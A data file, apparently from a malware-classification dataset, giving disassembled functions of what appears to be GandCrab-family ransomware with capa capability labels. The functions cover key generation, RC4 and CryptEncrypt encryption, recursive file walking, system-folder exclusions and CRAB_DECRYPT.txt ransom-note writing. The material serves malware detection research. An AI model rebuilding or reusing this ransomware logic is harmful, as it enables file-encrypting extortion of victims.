joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005670
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
push 0x3000
push 0x4c02
push 0
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
call esi
mov dword [ebp - 0x10], eax
test eax, eax
je 0x100056a9
lea edi, [eax + 0x800]
mov ebx, eax
jmp 0x100056ad
xor ebx, ebx
xor edi, edi
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push str.actionresulte_files_de_size_I64ue_time_d
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [ebp - 0xa0]
call fcn.10003bc0
lea ecx, [ebp - 0xa0]
call fcn.10007490
lea ecx, [ebp - 0xa0]
call fcn.100072a0
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [ebp - 0xa0]
lea eax, [ebx + eax*2]
push eax
call fcn.100070a0
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [0x10012a78]
mov dword [ebp - 4], eax
test ecx, ecx
je 0x1000573f
push 0x8000
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 4
push 0x3000
push str.popkadurak
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 2
push eax
push 0
call esi
mov dword [0x10012a78], eax
test eax, eax
je 0x10005776
push str.popkadurak
push 0x1000fcb0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 4]
mov ecx, ebx
lea esi, [eax + eax]
mov edx, esi
call fcn.10005f00
mov ecx, dword [ebp - 4]
lea eax, [ecx*8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x40000001
push esi
push ebx
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x100057ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
call ebx
push 0x40
push 0x3000
lea esi, [eax + 4]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov dword [ebp - 8], eax
call ebx
mov ecx, dword [ebp - 8]
add eax, 2
test ecx, ecx
je 0x100057e1
mov dword [ebp - 4], ecx
cmp eax, esi
jb 0x100057e8
mov dword [ebp - 4], 0
push edi
xor esi, esi
call ebx
test eax, eax
je 0x1000580e
mov ebx, dword [ebp - 4]
mov al, byte [esi + edi]
cmp al, 0xa
je 0x10005802
cmp al, 0xd
je 0x10005802
mov byte [ebx], al
inc ebx
push edi
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, eax
jb 0x100057f4
push 0
push ecx
mov ecx, dword [ebp - 4]
xor edx, edx
call fcn.100054f0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 8
test eax, eax
mov ecx, 1
mov ebx, 0
cmovne ebx, ecx
push 0x8000
push 0
push dword [ebp - 8]
call esi
lea ecx, [ebp - 0xa0]
call fcn.10007d70
push 0x8000
push 0
push dword [ebp - 0x10]
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005dc0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
push 0xff
lea eax, [ebp - 0x10f]
mov dword [ebp - 0x10], edi
mov ebx, ecx
mov byte [ebp - 0x110], 0
push edi
push eax
mov dword [ebp - 8], ebx
call fcn.10009170
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x110]
add esp, 0xc
xor ecx, ecx
sub ebx, eax
mov eax, ecx
lea esi, [ebp - 0x110]
xor edx, edx
add esi, ecx
div dword [ebp + 8]
mov byte [ebx + esi], cl
inc ecx
mov al, byte [edx + edi]
mov byte [esi], al
cmp ecx, 0x100
jl 0x10005e02
mov esi, dword [ebp - 8]
lea ebx, [ebp - 0x110]
mov edi, dword [ebp - 0x10]
sub ebx, esi
mov dword [ebp - 4], 0x100
mov dl, byte [esi]
movsx eax, byte [ebx + esi]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x10005e54
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 8]
mov al, byte [edi + ecx]
mov byte [esi], al
inc esi
dec dword [ebp - 4]
mov byte [edi + ecx], dl
jne 0x10005e37
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005e70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [ebp - 4], ecx
xor edi, edi
cmp dword [ebp + 8], ebx
jbe 0x10005ef2
lea ebx, [ebx]
inc esi
and esi, 0x800000ff
jns 0x10005ea1
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + ecx]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x10005eb9
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
mov byte [esi + ecx], al
mov byte [edi + ecx], dl
movzx ecx, byte [esi + ecx]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x10005edc
dec ecx
or ecx, 0xffffff00
inc ecx
mov eax, dword [ebp - 4]
movzx eax, byte [ecx + eax]
mov ecx, dword [ebp - 8]
xor byte [ebx + ecx], al
inc ebx
mov ecx, dword [ebp - 4]
cmp ebx, dword [ebp + 8]
jb 0x10005e90
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100063e0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xf0000000
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10006438
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x10006431
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1000642f
xor eax, eax
jmp 0x100064bc
jmp 0x10006438
xor eax, eax
jmp 0x100064bc
lea edx, [ebp - 8]
push edx
push 0x8000001
push 0xa400
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x10006455
nop
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 6
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
push 7
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10006660
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x10012a48
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0xf0000000
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x100066d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x100066ca
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x100066c8
xor eax, eax
jmp 0x1000676f
jmp 0x100066d1
xor eax, eax
jmp 0x1000676f
mov dword [ebp - 0xc], 0
lea edx, [ebp - 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x10006755
mov dword [ebp - 0x10], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [eax], 0xc8
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xc], 0
jne 0x10006755
mov ecx, dword [ebp - 0x14]
call fcn.100036c0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10012a48
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x10006780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get program files directory

Disassembly:
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x201
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, str.ProgramData_
mov ecx, esi
mov edi, eax
call fcn.100081f0
test eax, eax
jne 0x100068d4
mov edx, str.IETldCache_
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
mov edx, str.Boot_
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
mov edx, str.Program_Files_
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
mov edx, str.Tor_Browser_
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
mov edx, str.Ransomware
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
mov edx, str.All_Users_
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
mov edx, str.Local_Settings_
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
mov edx, str.Windows_
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push eax
push 0x2a
push edi
push eax
call ebx
test eax, eax
je 0x1000686d
mov edx, edi
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
push 0
push 0x2b
push edi
push 0
call ebx
test eax, eax
je 0x10006887
mov edx, edi
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
push 0
push 0x24
push edi
push 0
call ebx
test eax, eax
je 0x100068a1
mov edx, edi
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
push 0
push 0x1c
push edi
push 0
call ebx
test eax, eax
je 0x100068bb
mov edx, edi
mov ecx, esi
call fcn.100081f0
test eax, eax
jne 0x100068d4
push 0x8000
push 0
push edi
mov esi, 1
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, esi
pop edi
pop esi
pop ebx
ret
push 0x8000
xor esi, esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x100068f0
Capabilities:
Manipulate boot configuration

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov edi, ecx
push edi
call esi
push edi
mov ebx, eax
call esi
lea esi, [edi - 2]
lea esi, [esi + eax*2]
dec ebx
je 0x1000691e
lea esp, [esp]
sub esi, 2
dec ebx
cmp word [esi], 0x5c
je 0x1000691e
test ebx, ebx
jne 0x10006910
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
add esi, 2
push str.desktop.ini
push esi
call edi
test eax, eax
jne 0x1000693c
pop edi
pop esi
mov eax, 1
pop ebx
ret
push str.autorun.inf
push esi
call edi
test eax, eax
je 0x10006933
push str.ntuser.dat
push esi
call edi
test eax, eax
je 0x10006933
push str.iconcache.db
push esi
call edi
test eax, eax
je 0x10006933
push str.bootsect.bak
push esi
call edi
test eax, eax
je 0x10006933
push str.boot.ini
push esi
call edi
test eax, eax
je 0x10006933
push str.ntuser.dat.log
push esi
call edi
test eax, eax
je 0x10006933
push str.thumbs.db
push esi
call edi
test eax, eax
je 0x10006933
push str.CRAB_DECRYPT.txt
push esi
call edi
neg eax
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
ret
Function at 0x10006ab0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x400
push 0
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov ebx, eax
push 0x1000f424
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, ebx
call fcn.100069b0
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
test eax, eax
jne 0x10006b0f
cmp dword [edi + 0x20], 0xa
jb 0x10006b0f
mov ecx, ebx
call fcn.100068f0
test eax, eax
je 0x10006b2e
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov ecx, ebx
call fcn.100037b0
mov edi, eax
mov esi, edx
jmp 0x10006b15
Function at 0x10006ba0
Capabilities:
Enumerate files on windows
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push ebx
push esi
mov esi, ecx
push edi
push esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x1000ff44
push esi
lea ebx, [esi + eax*2]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebx], ax
xor ebx, ebx
jmp 0x10006bf0
push 0x1000ff48
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x10006d12
push 0x1000ff4c
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x10006d12
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax - 1]
lea ecx, [esi + ecx*2]
test eax, eax
je 0x10006d08
nop
cmp word [ecx], 0x2e
je 0x10006c4c
sub ecx, 2
dec eax
jne 0x10006c40
test eax, eax
je 0x10006d08
push str..sql
push ecx
call edi
test eax, eax
jne 0x10006d08
push eax
push eax
push 3
push eax
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, 0x40000000
jae 0x10006cf2
push 4
push 0x3000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10006cef
push 0
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10006ce1
mov edx, str.
mov ecx, esi
call fcn.10008260
test eax, eax
je 0x10006ce1
push str.
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esi + 1]
add ecx, eax
call fcn.10006b40
mov dword [ebp - 8], eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 8]
test ebx, ebx
jne 0x10006d2a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
jmp 0x10006d0a
xor ebx, ebx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10006bf0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006d40
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push str._sCRAB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10006d9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0x10006dd0
mov eax, dword [0x10012a64]
test eax, eax
je 0x10006dc4
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x10012a64]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006df0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov edi, ecx
call fcn.10006780
test eax, eax
je 0x10006f34
mov ecx, edi
call fcn.10006ba0
test eax, eax
jne 0x10006f34
call fcn.10006d40
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1000ff44
push edi
lea ebx, [edi + eax*2]
mov dword [ebp - 0x10], ebx
call esi
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 8], eax
mov word [ebx], cx
cmp eax, 0xffffffff
jne 0x10006e64
mov eax, 0xdeadbeaf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp + 0x10]
jmp 0x10006e70
push 0x1000ff48
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10006f13
push 0x1000ff4c
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10006f13
lea eax, [ebp - 0x238]
push eax
push edi
call esi
test byte [ebp - 0x264], 0x10
je 0x10006ed1
push 0x1000ff7c
push edi
call esi
mov edx, dword [ebp - 0x14]
mov ecx, edi
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10006df0
add esp, 0xc
jmp 0x10006f0b
push dword [ebp + 8]
mov eax, dword [ebx]
lea edx, [ebp - 0x264]
mov esi, dword [ebx + 4]
push ecx
mov ecx, edi
mov dword [ebp - 0xc], eax
call fcn.10006ab0
add esp, 8
add dword [ebx], eax
adc dword [ebx + 4], edx
cmp esi, dword [ebx + 4]
ja 0x10006f05
jb 0x10006f00
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebx]
jae 0x10006f05
mov eax, dword [ebp + 0xc]
inc dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10006e70
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006ff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push esi
push edi
xor edi, edi
call fcn.10007e40
push 0x40
push 0x3000
push 0x2801
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x1000ff8c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push edi
push 0x1000faa4
sub esp, 8
lea ecx, [ebp - 8]
push 0x27ff
push esi
push edi
push edi
push 0x1000ff90
push 0x1000ff94
call fcn.10008050
test eax, eax
je 0x10007071
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
cmp eax, 0x80
jae 0x10007071
push esi
push 0x1000f2dc
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x1000708d
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100070a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [ebx + 0x80], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x100070dc
push dword [ebx + 0x88]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 0x84]
push esi
call edi
push 0x1000ffd4
push esi
call edi
cmp dword [ebx], 0
je 0x100070fd
push dword [ebx + 4]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 8]
push esi
call edi
push 0x1000ffd4
push esi
call edi
cmp dword [ebx + 0xc], 0
je 0x1000711f
push dword [ebx + 0x10]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 0x14]
push esi
call edi
push 0x1000ffd4
push esi
call edi
cmp dword [ebx + 0x18], 0
je 0x10007141
push dword [ebx + 0x1c]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 0x20]
push esi
call edi
push 0x1000ffd4
push esi
call edi
cmp dword [ebx + 0x24], 0
je 0x10007163
push dword [ebx + 0x28]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 0x2c]
push esi
call edi
push 0x1000ffd4
push esi
call edi
cmp dword [ebx + 0x30], 0
je 0x10007185
push dword [ebx + 0x34]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 0x38]
push esi
call edi
push 0x1000ffd4
push esi
call edi
cmp dword [ebx + 0x3c], 0
je 0x100071a7
push dword [ebx + 0x40]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 0x44]
push esi
call edi
push 0x1000ffd4
push esi
call edi
cmp dword [ebx + 0x48], 0
je 0x100071c9
push dword [ebx + 0x4c]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 0x50]
push esi
call edi
push 0x1000ffd4
push esi
call edi
cmp dword [ebx + 0x54], 0
je 0x100071eb
push dword [ebx + 0x58]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 0x5c]
push esi
call edi
push 0x1000ffd4
push esi
call edi
cmp dword [ebx + 0x60], 0
je 0x1000725c
push 0x40
push 0x3000
push 0x42
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x6c]
mov dword [ebp + 8], eax
test ecx, ecx
je 0x10007221
push dword [ebx + 0x70]
push ecx
push 0x1000ffd8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x10007230
push str.undefined
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push dword [ebx + 0x64]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebp + 8]
push esi
call edi
push 0x1000ffd4
push esi
call edi
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebx + 0x74], 0
je 0x1000727e
push dword [ebx + 0x78]
push esi
call edi
push 0x1000ffd0
push esi
call edi
push dword [ebx + 0x7c]
push esi
call edi
push 0x1000ffd4
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
pop edi
mov word [esi + eax*2 - 2], cx
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x10007410
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x1000747e
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10007466
push dword [ebp - 4]
lea esi, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x18